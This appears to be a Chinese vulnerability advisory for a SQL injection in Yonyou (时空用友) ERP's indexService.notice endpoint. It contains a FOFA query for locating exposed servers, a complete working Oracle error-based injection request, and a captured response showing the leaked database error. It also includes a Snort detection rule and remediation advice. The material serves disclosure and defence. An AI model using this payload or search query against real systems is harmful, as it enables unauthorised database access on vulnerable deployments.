

时空用友ERP-indexService.notice-SQL注入漏洞

时空用友ERP-indexService.notice-SQL注入漏洞，攻击者可进行sql注入攻击获取数据库信息或者权限。

影响版本

时空用友ERP

漏洞状态

漏洞细节	漏洞POC	漏洞EXP	在野利用
是	已公开	已公开	已知

风险等级

维度	评价
威胁等级	高危
影响面	广
攻击者价值	高
利用难度	低

漏洞复现

FOFA: body="login.jsp?login=null"

POC/EXP:

```
POST /formservice?service=indexService.notice HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/json

{"id":"'1' AND 6448=CTXSYS.DRITHSX.SN(6448,
(CHR(113)||CHR(122)||CHR(112)||CHR(118)||CHR(113))|(SELECT (CASE WHEN (6448=6448)
THEN 1 ELSE 0 END) FROM
DUAL)||CHR(113)||CHR(122)||CHR(118)||CHR(118)||CHR(113)))-- fKek"}
```

发送请求

强制 HTTPS

历史

爆破示例

数据包扫描

美化

热加载

构造请求

Request

1

2

3

4

5

6

7

8

POST

/formservice?service=indexService.notice

HTTP/1.1

Host

User-Agent

Accept-Encoding

Connection

Content-Type

{

"id"

:

"1"

.

AND

.

6448=CTXSYS.DRITHSX.SN(6448,(CHR(113)||CHR(122)||CHR(112)||CHR(118)||CHR(113)||

(SELECT

.

(CASE

.

WHEN

.

(6448=6448)

.

THEN

.

1

.

ELSE

.

0

.

END)

.

FROM

.

DUAL

.

)

.

||CHR(113)||CHR(122)||CHR(118)||CHR(118)||CHR(113))

.

--fKEK"

}

Responses

235bytes / 63ms

美化

编码

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

HTTP/1.1

200

OK

Server

:

Apache-Coyote/1.1

Pragma

:

no-cache

Expires

:

0

Content-Type

:

text/xml; charset=UTF-8

Date

:

Wed, 23 Apr 2025 08:14:12 GMT

Connection

:

close

Content-Length

:

238

<?xml

.

version="1.0"

.

encoding="utf-8"

.

>

<errmsg

>

ORA-20000: Oracle Text 错误:

DRG-11701: 主题词表 qzpvq1qzvqq 不存在

ORA-06512: 在 "CTXSYS.DRUE", line 160

ORA-06512: 在 "CTXSYS.DRITHSX", line 540

ORA-06512: 在 line 1

</errmsg

>

snort规则:

```
alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (
  msg:"Yonyou ERP indexService.notice SQL Injection (Oracle)";
  flow:to_server,established;
  content:"POST"; http_method;
  content:"/formservice?service=indexService.notice"; http_uri;
  content:"Content-Type: application/json"; http_header;
  content:"\"id\":\":"; http_client_body;
  pcre:"/\"id\":\":"[^\"]"?'\s+AND\s+\d+=CTXSYS\.\DRITHSX\.\SN\([^\)]*\SELECT\s+\s+
(CASE\s+WHEN\s+\([^\)]*\THEN\s+1\s+ELSE\s+0\s+END\))/i";
  metadata:affected_product "Yonyou ERP";
  metadata:attack_type "SQL Injection (Oracle)";
  metadata:technique "T1190";
  classtype:sql-injection;
  sid:1000050;
  rev:1;
  priority:1;
)
```

漏洞修复

关闭互联网暴露面或接口设置访问权限

升级至安全版本。